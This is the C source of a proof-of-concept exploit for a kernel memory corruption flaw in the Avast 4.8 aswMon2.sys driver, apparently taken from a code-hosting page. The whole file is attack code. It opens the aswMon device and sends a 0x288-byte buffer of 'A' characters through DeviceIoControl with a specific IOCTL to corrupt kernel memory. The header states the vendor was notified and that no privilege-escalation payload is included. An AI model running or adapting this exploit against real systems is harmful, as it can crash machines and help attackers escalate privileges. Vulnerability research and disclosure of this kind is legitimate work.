80 lines
No EOL
1.8 KiB
C
80 lines
No EOL
1.8 KiB
C
/* Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption
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*
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* Author: Giuseppe 'Evilcry' Bonfa'
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* E-Mail: evilcry _AT_ gmail _DOT_ com
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* Website: http://evilcry.netsons.org
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* http://evilcodecave.blogspot.com
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* http://evilfingers.com
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*
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* Vendor: Notified
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*
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* No L.P.E. for kiddies
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* /
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#define WIN32_LEAN_AND_MEAN
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#include < windows.h>
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#include < stdio.h>
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BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab
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{
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WCHAR DeviceName[MAX_PATH];
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HANDLE hDevice;
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if ((GetVersion() & 0xFF) >= 5)
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{
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wcscpy(DeviceName, L"\\\\.\\Global\\");
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}
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else
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{
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wcscpy(DeviceName, L"\\\\.\\");
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}
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wcscat(DeviceName, DriverName);
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printf("Opening.. %S\n", DeviceName);
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hDevice = CreateFileW(DeviceName, GENERIC_READ |
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GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
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FILE_ATTRIBUTE_NORMAL, NULL);
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if (hDevice == INVALID_HANDLE_VALUE)
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{
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printf("CreateFile() ERROR %d\n", GetLastError());
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return FALSE;
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}
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*lphDevice = hDevice;
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return TRUE;
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}
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int main()
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{
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HANDLE hDev = NULL;
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DWORD Junk;
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if(!OpenDevice(L"aswMon",&hDev))
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{
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printf("Unable to access aswMon");
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return(0);
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}
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char *Buff = (char *)VirtualAlloc(NULL, 0x288, MEM_RESERVE |
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MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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if (Buff)
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{
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memset(Buff, 'A', 0x288);
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DeviceIoControl(hDev,0xB2C80018,Buff,
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0x288,Buff,0x288,&Junk,(LPOVERLAPPED)NULL);
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printf("DeviceIoControl Executed..\n");
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}
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else
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{
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printf("VirtualAlloc() ERROR %d\n", GetLastError());
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}
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return(0);
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}
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